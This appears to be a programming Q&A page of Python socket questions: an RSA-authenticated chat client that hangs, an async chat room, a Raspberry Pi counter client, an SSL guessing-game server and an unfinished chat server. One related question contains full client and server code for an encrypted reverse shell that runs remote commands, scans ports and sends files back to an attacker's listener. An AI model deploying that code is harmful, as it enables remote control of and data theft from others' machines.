I am implementing an authentication process between a server and a client in order to exchange some information. I have created a function called serverToClientAuth on both server and client that carries out a basic back and forth communication to establish authenticated integrity checks of each other before exchanging some data.
When I run the server, followed by the client, the exchange occurs perfectly with encryption and hashing working as required but on the very last message from the server to the Client, the client seems to hang and is unable to exit the function and go back to normal operation Although the first 3 communications work fine, the last one does not for some reason.
I thought at first that it had something to do with the encryption/Decryption functions but as the first 3 operations work, I don't see why the last doesn't? It seems that the recieve_msg function is grabbing the last message instead of the authentication function, this is the final '12' output on the client window as seen below.
I have included both the server and client as well as the output of each below. If anyone has any idea as to why this hang is occurring, it would be greatly appreciated.
#Server.py
from socket import AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR, socket
from threading import Thread
from signal import signal, SIGINT
import sys
import os
import random
import rsa
WELCOME_MSG = 'Server is active and awaiting connections'
def nonceGenerator():
num = ""
for i in range(5):
rand = random.randint(0,1)
num += str(rand)
return num
def generateAKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/APubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/APrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def generateBKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/BPubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/BPrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def generateCKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/CPubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/CPrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def generateSKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/SPubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/SPrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def loadKeys():
with open('keys/SPubKey.pem', 'rb') as p:
SPubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/SPrivKey.pem', 'rb') as p:
SPrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/APubKey.pem', 'rb') as p:
APubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/APrivKey.pem', 'rb') as p:
APrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/BPubKey.pem', 'rb') as p:
BPubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/BPrivKey.pem', 'rb') as p:
BPrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/CPubKey.pem', 'rb') as p:
CPubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/CPrivKey.pem', 'rb') as p:
CPrivKey = rsa.PrivateKey.load_pkcs1(p.read())
return SPubKey, SPrivKey, APubKey, APrivKey, BPubKey, BPrivKey, CPubKey, CPrivKey
def encrypt(message, key):
return rsa.encrypt(message.encode('utf8'), key)
def decrypt(ciphertext, key):
try:
return rsa.decrypt(ciphertext, key).decode('utf8')
except:
return False
def sign(message, key):
return rsa.sign(message.encode('utf8'), key, 'SHA-1')
def verify(message, signature, key):
try:
return rsa.verify(message.encode('utf8'), signature, key,) == 'SHA-1'
except:
return False
def incoming_connections():
while True:
client, addr = SERVER.accept()
print(f'A client has connected {addr}')
# client.send(WELCOME_MSG.encode())
Thread(target=single_client, args=(client,)).start()
print('Client connected')
def single_client(client):
client_name = client.recv(BUFFERSIZE).decode()
#client_name = 'Anonymous'
welcome_msg = f'Welcome {client_name}.\nType exit() or press CTRL+D or CTRL+C to exit.\n'
client.send(welcome_msg.encode())
chat_msg = f'{client_name} has joined the room'
broadcast_msg(chat_msg.encode())
clients[client] = client_name
serverToClientAuth(client) #Begin Authentication process upon reciving client
while True:
msg = client.recv(BUFFERSIZE)
if msg == 'online()'.encode('utf8'):
real_clients_num, real_clients_name = get_clients()
client.send(f'Online users {real_clients_num} : {real_clients_name}'.encode('utf8'))
elif msg == EXIT_CMD.encode('utf8'):
print(f'{clients[client]} has disconnected ')
client.send('You are leaving the room...'.encode())
client.close()
client_leaving = clients[client]
del clients[client]
broadcast_msg(f'{client_leaving} has left the room!'.encode())
break
elif '#'.encode('utf8') in msg:
unicast_msg(msg, client)
else:
broadcast_msg(msg, clients[client] + ': ')
def get_clients():
real_clients_num = 0
real_clients_name = []
for k,v in clients.items():
if v != 'Anonymous':
real_clients_num += 1
real_clients_name.append(v)
return real_clients_num, real_clients_name
def broadcast_msg(msg, name=""):
for client in clients:
client.send(name.encode() + msg)
def unicast_msg(msg, client):
# Get only name by removing #
msg = msg.decode('utf8')
refered_client, client_msg = msg.split(' ',1)
client_to_connect = refered_client.strip('#')
for k,v in clients.items():
if v == client_to_connect:
k.send(f'{clients[client]} -> {client_to_connect}: {client_msg}'.encode('utf8'))
def receive_msg():
while True:
try:
msg = client_socket.recv(BUFFERSIZE).decode("utf8")
print(msg)
except OSError as error:
return error
def serverToClientAuth(client):
Ka=bytes('1', 'utf8')
Kb=bytes('2', 'utf8')
Kc=3
user = clients[client] #A, B or C
message1 = client.recv(1024) #Nonce Na, Nb or Nc
NEnc, sig1 = message1[:128], message1[128:]
N = decrypt(NEnc, SPrivKey)
if verify(N, sig1, APubKey):
Ns = nonceGenerator() #Servers Nonce
NNs = "{}|{}".format(N, Ns)
NNsEnc = encrypt(NNs, APubKey)
sig2 = sign(NNs, SPrivKey)
message2 = NNsEnc + sig2
client.send(message2)
message3 = client.recv(1024)
NsXX = decrypt(message3, SPrivKey)
print(NsXX)
NsXX = NsXX.split("|")
if NsXX[0] == Ns: #Does the Nonce that client returned match what was sent?
if NsXX[1] == 'B' and NsXX[2] == 'C':
message4 = Ka + Kb
client.send(message4)
print("Client " + user + " has been authenticated to the server\n")
elif NsXX[1] == 'A' and NsXX[2] == 'C':
message4 = "{}|{}".format(Ka, Kc)
client.send(message4.encode('utf8'))
print("Client " + user + " has been authenticated to the server\n")
elif NsXX[1] == 'A' and NsXX[2] == 'B':
message4 = "{}|{}".format(Ka, Kb)
client.send(message4.encode('utf8'))
print("Client " + user + " has been authenticated to the server\n")
else:
print("Unrecognised identifier")
else:
print("Replied nonce from Client does not match")
else:
print('The message signature could not be verified')
if __name__ == "__main__":
clients = {}
generateAKeys()
generateBKeys()
generateCKeys()
generateSKeys()
SPubKey, SPrivKey, APubKey, APrivKey, BPubKey, BPrivKey, CPubKey, CPrivKey = loadKeys()
HOST = '127.0.0.1'
PORT = 5000
BUFFERSIZE = 1024
ADDR = (HOST, PORT)
EXIT_CMD = "exit()"
SERVER = socket(AF_INET, SOCK_STREAM)
SERVER.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
SERVER.bind(ADDR)
SERVER.listen(2)
print("Waiting for connection...")
ACCEPT_THREAD = Thread(target=incoming_connections)
ACCEPT_THREAD.start()
ACCEPT_THREAD.join()
SERVER.close()
The server file ^^^
#Client A
from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread
from signal import signal, SIGINT
import sys
import os
import random
import rsa
def nonceGenerator():
num = ""
for i in range(5):
rand = random.randint(0,1)
num += str(rand)
return num
def loadKeys():
with open('keys/APubKey.pem', 'rb') as p:
APubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/APrivKey.pem', 'rb') as p:
APrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/SPubKey.pem', 'rb') as p:
SPubKey = rsa.PublicKey.load_pkcs1(p.read())
return APubKey, APrivKey, SPubKey
def encrypt(message, key):
return rsa.encrypt(message.encode('utf8'), key)
def decrypt(ciphertext, key):
try:
return rsa.decrypt(ciphertext, key).decode('utf8')
except:
return False
def sign(message, key):
return rsa.sign(message.encode('utf8'), key, 'SHA-1')
def verify(message, signature, key):
try:
return rsa.verify(message.encode('utf8'), signature, key,) == 'SHA-1'
except:
return False
def receive_msg():
while True:
try:
msg = client_socket.recv(BUFFERSIZE).decode("utf8")
print(msg)
except OSError as error:
return error
def keyBoard_Input():
while True:
try:
msg = input()
if msg != 'exit()':
client_socket.send(msg.encode('utf8'))
else:
clean_exit()
except EOFError:
clean_exit()
def send_msg(data):
try:
msg = data
if msg != 'exit()':
client_socket.send(msg.encode('utf8'))
else:
clean_exit()
except EOFError:
clean_exit()
def clean_exit():
client_socket.send('exit()'.encode('utf8'))
client_socket.close()
sys.exit(0)
def handler(signal_received, frame):
clean_exit()
def serverToClientAuth(client):
Na = nonceGenerator()
NaEnc = encrypt(Na, SPubKey)
sig1 = sign(Na, APrivKey)
message1 = NaEnc + sig1
client_socket.send(message1)
message2 = client_socket.recv(1024)
NaNsEnc, sig2 = message2[:128], message2[128:]
NaNs = decrypt(NaNsEnc, APrivKey)
if verify(NaNs, sig2, SPubKey):
NaNs = NaNs.split("|")
if NaNs[0] == Na:
Ns = NaNs[1]
print(Ns)
NsBC = "{}|{}|{}".format(Ns, 'B', 'C')
NsBCEnc = encrypt(NsBC, SPubKey) #No signature needed anymore
message3 = NsBCEnc
client_socket.send(message3)
print('Client gets stuick here')
message4 = client_socket.recv(1024)
print(message4)
message4 = message4.split("|")
APubKey, CPubKey = message3[0], message3[1]
print("Client B is Authenticated to the Server")
print("Ka = " + APubKey)
print("Kc = " + CPubKey)
else:
print("Replied nonce from server does not match")
else:
print('The message signature could not be verified')
if __name__ == '__main__':
signal(SIGINT, handler)
HOST = '127.0.0.1'
PORT = 5000
BUFFERSIZE = 1024
ADDR = (HOST, PORT)
client_socket = socket(AF_INET, SOCK_STREAM)
client_socket.connect(ADDR)
receive_thread = Thread(target=receive_msg)
receive_thread.start()
APubKey, APrivKey, SPubKey = loadKeys()
send_msg('A') #Assign Client ID at the moment the connection is initiated
serverToClientAuth(client_socket)
keyBoard_Input()
Client File ^^^^
Waiting for connection...
A client has connected ('127.0.0.1', 51407)
Client connected
01001|B|C
Client A has been authenticated to the server
Server response ^^^
Welcome A.
Type exit() or press CTRL+D or CTRL+C to exit.
01001
Client gets stuick here
12
Client Response ^^^
The '12' displayed here should be a '1|2' as that is the message sent by the server. However, it seems that the receive_msg function is actually taking the message instead of the function, causing the function to hang and wait for a message.
Related
I'm having trouble with file transfer over TCP reverse shell using AES (the transfer function), stuck on padding issue while doing so.
I tried looking for a solution online, but I can't seem to find something helpful (or I might just missing something...)
All the other function seems to work fine.
Client Side
import os
import socket
import subprocess
import sys
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
SERVER_IP = "ip"
PORT = 8080
IV = b"H" * 16
privatekey = privatekey
def AESFunc(data):
privateKeyAfterImport = RSA.importKey(privatekey)
decryptoMe = PKCS1_OAEP.new(privateKeyAfterImport)
return decryptoMe.decrypt(data).decode()
def encrypt(message):
encryptor = AES.new(AES_KEY, AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(data):
decryptor = AES.new(AES_KEY, AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(data)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet != '':
try:
s.send(encrypt(packet))
packet = f.read(1024)
except Exception as e:
print(e)
break
done = 'DONE'.encode()
s.send(encrypt(done))
f.close()
def scanner(s, ip, ports, scan_type):
if scan_type == 1:
for port in range(1, ports):
try:
sock = socket.socket()
output = sock.connect_ex((ip, int(port)))
scan_result = ''
if output == 0:
scan_result += f"[+] Port {port} is opened"
result = scan_result.encode()
s.send(encrypt(result))
sock.close()
except Exception as e:
pass
result = 'DONE'.encode()
s.send(encrypt(result))
else:
for port in ports.split(','):
try:
sock = socket.socket()
output = sock.connect_ex((ip, int(port)))
if ouhetput == 0:
scan_result = scan_result + f"[+] Port {port} is opened"
else:
scan_result = scan_result + f"[-] Port {port} is closed"
sock.close()
except Exception as e:
pass
result = scan_result.encode()
s.send(encrypt(result))
def connect():
s = socket.socket()
s.connect((SERVER_IP, PORT))
global AES_KEY
AES_KEY = s.recv(1024)
AES_KEY = AESFunc(AES_KEY)
AES_KEY = AES_KEY.encode()
#print(AES_KEY)
while True:
command = s.recv(1024)
command = decrypt(command)
command = command.decode()
#print(command)
if 'exit' in command:
s.close()
break
elif 'get' in command:
get, path = command.split(' ')
try:
transfer(s, path)
except:
result = str(e).encode()
s.send(encrypt(result))
pass
elif 'cd' in command:
try:
cwd = os.getcwd()
code, directory = command.split(' ')
os.chdir(directory)
result = ('[+] CWD is ' + os.getcwd()).encode()
s.send(encrypt(result))
except ValueError as e:
result = ("[!] Something wrong with specified directory".encode())
s.send(encrypt(result))
os.chdir(cwd)
except Exception as e:
result = ("[!] Something wrong with specified directory".encode())
s.send(encrypt(result))
elif 'scan' in command:
command = command[5:]
if ':' not in command:
ip = command
ports = 10
scanner(s, ip, ports, 1)
else:
ip, ports = command.split(':')
scanner(s, ip, ports, 0)
else:
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result_out = CMD.stdout.read()
result_err = CMD.stderr.read()
if result_err.decode() != "":
s.send(encrypt(result_err))
else:
s.send(encrypt(result_out))
def main():
connect()
main()
Server Side
import os
import socket
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import string
import random
TARGET_IP = '0.0.0.0'
PORT = 8080
server_user = user
publicKey = publickey
IV = b"H" * 16
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for i in range(0, 32))
def AESFunc(message):
publicKeyAfterImport = RSA.importKey(publicKey)
encryptoMe = PKCS1_OAEP.new(publicKeyAfterImport)
encryptedData = encryptoMe.encrypt(message)
return encryptedData
def encrypt(message):
encryptor = AES.new(key.encode(), AES.MODE_CBC, IV)
padded_message = Padding.pad(message, 16)
encrypted_message = encryptor.encrypt(padded_message)
return encrypted_message
def decrypt(data):
decryptor = AES.new(key.encode(), AES.MODE_CBC, IV)
decrypted_padded_message = decryptor.decrypt(data)
decrypted_message = Padding.unpad(decrypted_padded_message, 16)
return decrypted_message
def transfer(conn, command):
print(command)
send_command = encrypt(command.encode())
conn.send(send_command)
get, path = command.split(" ")
f = open(f'/home/{server_user}/Desktop/' + path, 'wb')
while True:
bits = conn.recv(1024)
try:
bits = decrypt(bits)
if bits.endswith('DONE'.encode()):
f.write(bits[:-4])
f.close()
print('[+] Transfer completed')
break
elif 'File not found'.encode() in bits:
print('[-] File not found')
break
f.write(bits)
except Exception as e:
print(e)
print("[-] unable to decrypt/receive data!")
break
def connect():
s = socket.socket()
s.bind((TARGET_IP, PORT))
s.listen(1)
print(f'[+] Listening for TCP connection on port {PORT}')
conn, addr = s.accept()
print('[+] We got a connection from', addr)
conn.send(AESFunc(key.encode()))
while True:
command = input("Shell> ")
if 'exit' in command:
exit = 'exit'.encode()
conn.send(exit)
break
elif 'get' in command:
transfer(conn, command)
elif command == "":
pass
elif ('scan' in command) and (':' not in command):
scan = command.encode()
conn.send(encrypt(scan))
print('Scanning target...')
while True:
bits = conn.recv(1024)
try:
bits = decrypt(bits)
if bits == ('DONE'.encode()):
break
else:
print(bits.decode())
except Exception as e:
print(e)
print("[-] unable to decrypt/receive data!")
elif 'help' in command:
print("""
Options:
help Show this message.
exit exits the scripts.
get download a file to the host.
""")
else:
command = encrypt(command.encode())
conn.send(command)
result = conn.recv(1024)
try:
print(decrypt(result).decode())
except Exception as e:
print(e)
print("[-] unable to decrypt/receive data!")
def main():
connect()
main()
When transferring a file, I encounter the following error in the server side:
Padding is incorrect.
[-] unable to decrypt/receive data!
Thanks.
I wanted to demonstrate Asynchronous Non-Blocking threads through an EventLoop using a chatroom that I coded out in Python.
The chatroom is working fine when I simulate a server and clients on my desktop, but whenever I want to send packets over the internet to my friends who stay at a geographically distant location, I receive Timeout errors.
Obviously, I change the IP_ADDR accordingly while doing so. In fact, I have tried both IPv4 and IPv6. The firewall is off, and there are no anti-viruses installed.
I tried setting the timeout options as well, but the problem still exists.
Over a small geographical distance, the connection works.
I have also checked whether I am even able to send packets over the Internet at all to the target computer using the tracert command, and it seems like I can.
Server.py
import sys
import select
import msvcrt
import socket
IP_ADDR = socket.gethostbyname(socket.gethostname())
PORT = 5555
HEADER_SIZE = 10
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP_ADDR, PORT))
def add_header(username, msg):
username = f'{len(username) :< {HEADER_SIZE}}' + username
msg_len = len(msg)
msg = username + f'{msg_len :< {HEADER_SIZE}}' + msg
return msg.encode("utf-8")
sock_list = [server]
sock_dict = {server : 'Server'}
def broadcast_message(client, broadcast_msg):
try: #EAFP
client.send(broadcast_msg)
except:
username = sock_dict[client]
del sock_dict[client]
sock_list.remove(client)
broadcast_msg = add_header(sock_dict[server], f"{username} has left the group!!")
for clients in sock_list:
if clients is server:
print(f"{username} has left the group!!")
else:
broadcast_message(clients, broadcast_msg)
server.listen()
while True:
readers, _, err_sockets = select.select(sock_list, [], [], 1)
if(msvcrt.kbhit()):
msg = input("[:] >> ")
#msg = sys.stdin.readline()[:-1]
msg = add_header(sock_dict[server], msg)
for client in sock_list:
if client is server:
continue
else:
broadcast_message(client, msg)
for reader in readers:
if reader is server:
client_socc, client_addr = server.accept()
try:
client_username = client_socc.recv(1024).decode("utf-8")
if not len(client_username):
continue
else:
print(f"Connection accepted from {client_username[HEADER_SIZE : ].title()} : {client_addr[0]} : {client_addr[1]}")
sock_dict[client_socc] = client_username[HEADER_SIZE : ].title()
sock_list.append(client_socc)
broadcast_msg = add_header(sock_dict[server], f"{sock_dict[client_socc]} has joined the group!!")
for client in sock_list:
if client is server or client is client_socc:
continue
else:
broadcast_message(client, broadcast_msg)
except:
continue
else:
try:
client_msg = reader.recv(1024).decode("utf-8")
if not len(client_msg):
del sock_dict[reader]
sock_list.remove(reader)
else:
while len(client_msg):
broadcast_msg = add_header(sock_dict[reader], client_msg[HEADER_SIZE : HEADER_SIZE + int(client_msg[:HEADER_SIZE])])
print(f"{sock_dict[reader]} >> {client_msg[HEADER_SIZE : HEADER_SIZE + int(client_msg[:HEADER_SIZE])]}")
client_msg = client_msg[HEADER_SIZE + int(client_msg[:HEADER_SIZE]) : ]
for client in sock_list:
if client is server or client is reader:
continue
else:
broadcast_message(client, broadcast_msg)
except:
continue
Client.py
import sys
import select
import socket
import msvcrt
IP_ADDR = socket.gethostbyname(socket.gethostname())
PORT = 5555
HEADER_SIZE = 10
class Connection():
def __init__(self, default = (IP_ADDR, PORT)):
self.client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print(f"Trying to connect to {default[0]} : {default[1]}")
self.client_conn.connect(default)
print("Connection succesful!")
username = input("Enter your username : ")
username = f'{len(username) :< {HEADER_SIZE}}' + username
self.client_conn.send(username.encode("utf-8"))
def fileno(self):
return self.client_conn.fileno()
def on_read(self):
msg = self.client_conn.recv(1024).decode("utf-8")
self.decode_message(msg)
def decode_message(self, msg):
while len(msg):
username = msg[HEADER_SIZE : HEADER_SIZE + int(msg[: HEADER_SIZE])]
msg = msg[HEADER_SIZE + int(msg[: HEADER_SIZE]) : ]
user_msg = msg[HEADER_SIZE : HEADER_SIZE + int(msg[: HEADER_SIZE])]
msg = msg[HEADER_SIZE + int(msg[: HEADER_SIZE]) : ]
print(f"{username} >> {user_msg}")
class Input():
def __init__(self, client):
self.client = client.client_conn
def fileno(self):
return sys.stdin.fileno()
def on_read(self):
#msg = sys.stdin.readline()[:-1]
msg = input("[:] >> ")
msg_len = len(msg)
msg = f'{msg_len :< {HEADER_SIZE}}' + msg
self.client.send(msg.encode("utf-8"))
connection = Connection()
read_input = Input(connection)
while True:
readers, _, _ = select.select([connection], [], [], 1)
if(msvcrt.kbhit()):
readers.append(read_input)
for reader in readers:
reader.on_read()
I'm trying to develop a very simple client/server program, the server part is working properly but I've a problem with the client part but I can't understand why.
The client's work is very simple, just retrive the counter value from a external device, then I'm trying to send the retrieved data to the server part.
At the beginning the socket is working well, but some time when I should send the data I've got the server exception and after that the Client is not working.
I can't understand if the s.close() function is working properly.
UPDATE: the exception that I got is "errno 110 connection timed out"
Client:
import time, socket, struct, array, json
import Client_Axis
import sys
import serial
import os
import datetime
import re
import packet
import Config_mio
usbport = '/dev/ttyAMA0'
h = "/r/n"
if __name__=="__main__":
"""Main function that starts the server"""
curr_value = "0000000000"
prev_value = ""
line = '111111111111111'
error_counter = 0
people_in = 0
people_out = 0
txtDate = ""
no_updates_counter = 0
while True:
ser = None
try:
# print('1')
ser = serial.Serial('/dev/ttyAMA0', 9600, timeout=1)
# ser.open()
# print('2')
for line in ser.read():
line = ser.readline()
print(line[6:10])
curr_value = line
except:
print('Serial error')
# print('3')
pass
finally:
if ser:
ser.close()
try:
error_counter += 1
# print('1')
response = Client_Axis.Read_Axis_Camera_Occupancy()
content = response.split(",")
people_in_refresh = int(re.search(r'\d+', content[3]).group())
people_out_refresh = int(re.search(r'\d+', content[4]).group())
# print('2')
error_flag = 0
if people_in != people_in_refresh or people_out != people_out_refresh:
people_in = people_in_refresh
people_out = people_out_refresh
try:
# Creates TCP socket in the specified IP address and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect client to the server
s.connect((Config_mio.IP_Server_Add, Config_mio.ws_port))
# Create message and send it to server
timestamp = str(time.time())
# msg = packet("c", timestamp, Config_mio.RbPi_Id, content[3], content[4], None)
msg = "c"+","+str(timestamp)+","+str(Config_mio.RbPi_Id)+","+str(people_in)+","+str(people_out)+","+"None"
# json_message = json.dumps(msg)
# s.send(json_message)
s.send(msg)
print "messaggio INVIATO"
# Close connection when data is sent
#s.close()
except:
print('Server connection error 1')
pass
finally:
s.close()
#AXIS_occup_old = AXIS_occup
#AXIS_occup = response.read()
#my_dict = json.loads(AXIS_occup)
# print(AXIS_occup)
# print(my_dict)
#del my_dict["timestamp"]
#AXIS_occup = my_dict
#error_counter = 0
# print('3')
except:
error_msg = "Error retrieving occupancy from: " + Config_mio.IP_AXIS_Add
error_flag = 1
if (error_flag == 1):
no_updates_counter = 0
print "Error detected: %s \r\n" % error_msg
print error_counter
if (error_counter > 200):
os.system("sudo reboot")
elif (line[6:10] != '1111' and prev_value != curr_value):
try:
# Creates TCP socket in the specified IP address and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect client to the server
s.connect((Config_mio.IP_Server_Add, Config_mio.ws_port))
# Create message and send it to server
timestamp = str(time.time())
msg = "r"+","+str(timestamp)+","+str(Config_mio.RbPi_Id)+","+"None"+","+"None"+","+str(line[6:10])
#msg = {"Id": raspberry_id,
# "Ranging": line[6:10],
# "timestamp": timestamp}
#json_message = json.dumps(msg)
#s.send(json_message)
s.send(msg)
print "Message : %s" % msg
# Close connection when data is sent
s.close()
except:
print('Server connection error 2')
pass
else:
no_updates_counter += 1
# Send message despite there are no changes in value
# This is a heartbeat message of 10 min
if (no_updates_counter > 200):
no_updates_counter = 0
AXIS_occup = ""
prev_value = curr_value
# Reboot device every day - routine
# We have 4 cases incase we miss few seconds
txtDate = str(datetime.datetime.fromtimestamp(time.time()))
if (txtDate[11:19] == "00:00:00"):
os.system("sudo reboot")
if (txtDate[11:19] == "00:00:01"):
os.system("sudo reboot")
if (txtDate[11:19] == "00:00:02"):
os.system("sudo reboot")
if (txtDate[11:19] == "00:00:03"):
os.system("sudo reboot")
# Kill time - 1 sec: Remove it for high speed localisation
time.sleep(1)
Server:
import socket
import json
import time
import Config_mio
import packet
import sqlite3 as lite
if __name__ == "__main__":
"""Main function that starts the server"""
# Creates TCP socket in the specified IP address and port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((Config_mio.IP_Server_Add, Config_mio.ws_port))
# Starts server, up to 10 clients are queued
s.listen(Config_mio.Max_Num_Clients)
while True:
conn, addr = s.accept()
#print "sono dopo ascolto"
msg = conn.recv(1024)
print "Data value:",msg
msg = msg.split(",")
if msg[0] == "c":
print "counter msg"
elif msg[0] == "r":
print "range msg",msg[1],msg[2],msg[5]
conn.close()
I'm working on a simple server based guessing game. Part of the client side of things is that there is an ssl secured admin client that can access the server to request information. I am currently trying to add the certificates and stuff to the requests however when running the (admittedly incomplete) file I get a 'ValueError: file descriptor cannot be a negative integer (-1)' at line 65 of the following code:
import select
import socket
import ssl
import random
def CreateGame():
number = random.randrange(1,21,1)
##print(number)
return number
def Greetings():
member.send("Greetings\r\n".encode())
def Far():
member.send("Far\r\n".encode())
def Close():
member.send("Close\r\n".encode())
def Correct():
member.send("Correct\r\n".encode())
def AdminGreetings():
member.send("Admin-Greetings\r\n".encode())
def Who():
responce = ""
for connection in clientList:
if connection != member:
responce += str(clientList[connection])
member.send((str(responce)).encode())
member.close()
reader_list.remove(member)
del clientList[member]
def GameLogic(mNumber):
if("Guess: " + str(mNumber) + "\r\n" == guess):
Correct()
elif(("Guess: " + str(mNumber-3) + "\r\n" == guess) or
("Guess: " + str(mNumber-2) + "\r\n" == guess) or
("Guess: " + str(mNumber-1) + "\r\n" == guess) or
("Guess: " + str(mNumber+1) + "\r\n" == guess) or
("Guess: " + str(mNumber+2) + "\r\n" == guess) or
("Guess: " + str(mNumber+3) + "\r\n" == guess) ):
Close()
else:
Far()
#client socket
s1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s1.bind(('',4000))
s1.listen(5)
#admin socket
s2 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s2.bind(('',4001))
s2.listen(5)
reader_list = [s1,s2]
clientList = {}
mNumber = CreateGame()
while True:
(read,write,error) = select.select(reader_list,[],[])
for member in read:
if member == s1:
(read,write) = s1.accept()
reader_list.append(read)
elif member == s2:
(read,write) = s2.accept()
reader_list.append(read)
sslSocket = ssl.wrap_socket(member,
keyfile="5cc515_server.key",
certfile="5cc515_server.crt",
server_side = True,
cert_reqs = ssl.CERT_REQUIRED,
ca_certs="5cc515_root_ca.crt")
else:
try:
message = member.recv(4092).decode()
sockAddr = member.getsockname()
if(message == "Hello\r\n"):
addr = str(sockAddr[0]) + " " + str(sockAddr[1]) + "\r\n"
clientList[member] = addr
if (sockAddr[1] == 4001):#is using port 4000
try:
ssl_s = ssl.wrap_socket(member,
keyfile="5cc515_server.key",
certfile="5cc515_server.crt",
server_side = True,
cert_reqs = ssl.CERT_REQUIRED,
ca_certs="5cc515_root_ca.crt")
##handshake stuff
AdminGreetings()
except:
break
else:
Greetings()
elif(message == "Who\r\n"):
##handshake stuff
Who()
else:
##print("try and assign guess")
guess = message
##print("game logic")
GameLogic(mNumber)
except:
print("recv failed")
member.close()
reader_list.remove(member)
del clientList[member]
break
I understand that without the crt and key this cant really be debugged, but since nothing is making changes to the reader_list[] i dont see why it goes from 2 to -ve...
anyway here is the other part (the admin client)
import socket
import select
import ssl
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
handshake = False
# send Hello
try:
while handshake == False:
print("create ssl socket")
sslSocket = ssl.wrap_socket(s,
keyfile="100297626.key",
certfile="100297626.crt",
server_side = False,
ca_certs="5cc515_root_ca.crt")
print("connect")
sslSocket.connect(("127.0.0.1", 4001))
print("send hello")
sslSocket.write("Hello\r\n".encode())
print("rec hello")
sslSocket.recv(80).decode()
sslSocket.send("Who\r\n".encode())
print(sslSocket.recv(4092).decode())
except:
print("Server Unavailable")
s.close()
Thanks in advance!
As line 65 is:
(read,write,error) = select.select(reader_list,[],[])
One must infer that the error comes from passing a socket with a fd of -1 to select.select in its read_list. Please run your code again but include the check that:
assert all(s.fileno() != -1 for s in reader_list)
This is the code that I have used.But I don't get actual result that I want.When I execute code ChatServer file works properly,but ChatClient gives only one line(Usage : python telnet.py hostname port).Please Help me.I am new in python.
The server code:
#!/usr/bin/env python
#!/usr/bin/env python
"""
A basic, multiclient 'chat server' using Python's select module
with interrupt handling.
Entering any line of input at the terminal will exit the server.
"""
import select
import socket
import sys
import signal
from communication import send, receive
BUFSIZ = 1024
class ChatServer(object):
""" Simple chat server using select """
def __init__(self, port=3490, backlog=5):
self.clients = 0
# Client map
self.clientmap = {}
# Output socket list
self.outputs = []
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind(('',port))
print 'Listening to port',port,'...'
self.server.listen(backlog)
# Trap keyboard interrupts
signal.signal(signal.SIGINT, self.sighandler)
def sighandler(self, signum, frame):
# Close the server
print 'Shutting down server...'
# Close existing client sockets
for o in self.outputs:
o.close()
self.server.close()
def getname(self, client):
# Return the printable name of the
# client, given its socket...
info = self.clientmap[client]
host, name = info[0][0], info[1]
return '#'.join((name, host))
def serve(self):
inputs = [self.server,sys.stdin]
self.outputs = []
running = 1
while running:
try:
inputready,outputready,exceptready = select.select(inputs, self.outputs, [])
except select.error, e:
break
except socket.error, e:
break
for s in inputready:
if s == self.server:
# handle the server socket
client, address = self.server.accept()
print 'chatserver: got connection %d from %s' % (client.fileno(), address)
# Read the login name
cname = receive(client).split('NAME: ')[1]
# Compute client name and send back
self.clients += 1
send(client, 'CLIENT: ' + str(address[0]))
inputs.append(client)
self.clientmap[client] = (address, cname)
# Send joining information to other clients
msg = '\n(Connected: New client (%d) from %s)' % (self.clients, self.getname(client))
for o in self.outputs:
# o.send(msg)
send(o, msg)
self.outputs.append(client)
elif s == sys.stdin:
# handle standard input
junk = sys.stdin.readline()
running = 0
else:
# handle all other sockets
try:
# data = s.recv(BUFSIZ)
data = receive(s)
if data:
# Send as new client's message...
